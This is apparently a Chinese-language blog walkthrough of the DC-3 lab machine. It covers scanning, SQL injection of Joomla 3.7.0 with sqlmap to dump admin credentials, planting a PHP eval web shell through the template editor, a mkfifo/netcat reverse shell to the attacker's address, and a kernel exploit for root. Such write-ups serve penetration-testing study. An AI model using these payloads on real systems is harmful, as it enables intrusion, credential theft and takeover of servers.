DC--3

信息收集

确定目标主机IP地址

netdiscover -i eth0 -r 192.168.84.0/24

image-20221215091208822

扫描IP开放端口

masscan 192.168.84.178 --rate=10000 --ports 0-65535

image-20221215091428710

使用浏览器访问80端口

image-20221215091631959

通过插件获取到相关信息

image-20221215091741977

该网站由joomlaCMS搭建

利用joomscan工具进行扫描

joomscan -h

image-20221215091937759

扫描该网站

joomscan -u http://192.168.84.178/

image-20221215092237913

获取到相关版本号和路径

查找是否有历史漏洞

searchsploit Joomla 3.7.0
searchsploit -m 42033.txt    // m 为下载到当前路径

image-20221215092613823

查看42033.txt

image-20221215092754118

得到payload

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

只需将localhost替换为目标地址即可

sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

web测试

sqlmap

库名

sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] 

image-20221215093108603

表名

sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  -D joomladb --tables

image-20221215093217068

字段名

sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  -D joomladb -T "#__users" --columns

image-20221215093541736

获取username、password字段数据

sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  -D joomladb -T "#__users" -C username,password --dump

image-20221215093621602

对password进行解密

image-20221215094143643

得到user的账户名与密码为admin、snoopy

网站后台进行登录

image-20221215094235944

存在网站模板

image-20221215094718439

可以新建文件 - new file

在html目录下新建shell.php文件

image-20221215095146997

写入内容

<?php eval($_REQUEST[1])?>

点击save进行保存

目录泄露

image-20221215095650854

访问shell.php 并传参

image-20221215095726679

蚁剑连接

http://192.168.84.178/templates/beez3/html/shell.php?1=phpinfo();

image-20221215114936892

提权

提权分为系统提权和应用提权

本次用的是系统提权

查看当前系统发行版本

cat /etc/*release

image-20221215133559532

搜索历史漏洞

searchsploit ubuntu 16.04

image-20221215162333373

searchsploit -m 39772

将对应的文档下载到当前目录

cat 39772.txt

image-20221215162510733

点击连接进行下载

image-20221215162421529

写入反弹shell

将shell.php中的一句话木马修改为反弹shell的木马

image-20221215162748589

<?php 
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.84.174 10086 >/tmp/f');
?> 

本地开启监听端口

nc -lvnp 10086

浏览器访问shell.php文件

http://192.168.84.179/templates/beez3/html/shell.php

image-20221215162947048

靶机传送文件

由于在同一网络环境下, 开启http服务,用于传输文件

image-20221215163053102

image-20221215163101275

靶机中用wget进行下载文件

image-20221215163141685

解压文件

unzip 33992.zip

image-20221215163239961

进入39772目录,解压exploit文件

image-20221215163355348

进入ebpf_mapfd_doubleput_exploit目标,编译运行

image-20221215163539468

拿到最终的flag

image-20221215163604116

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值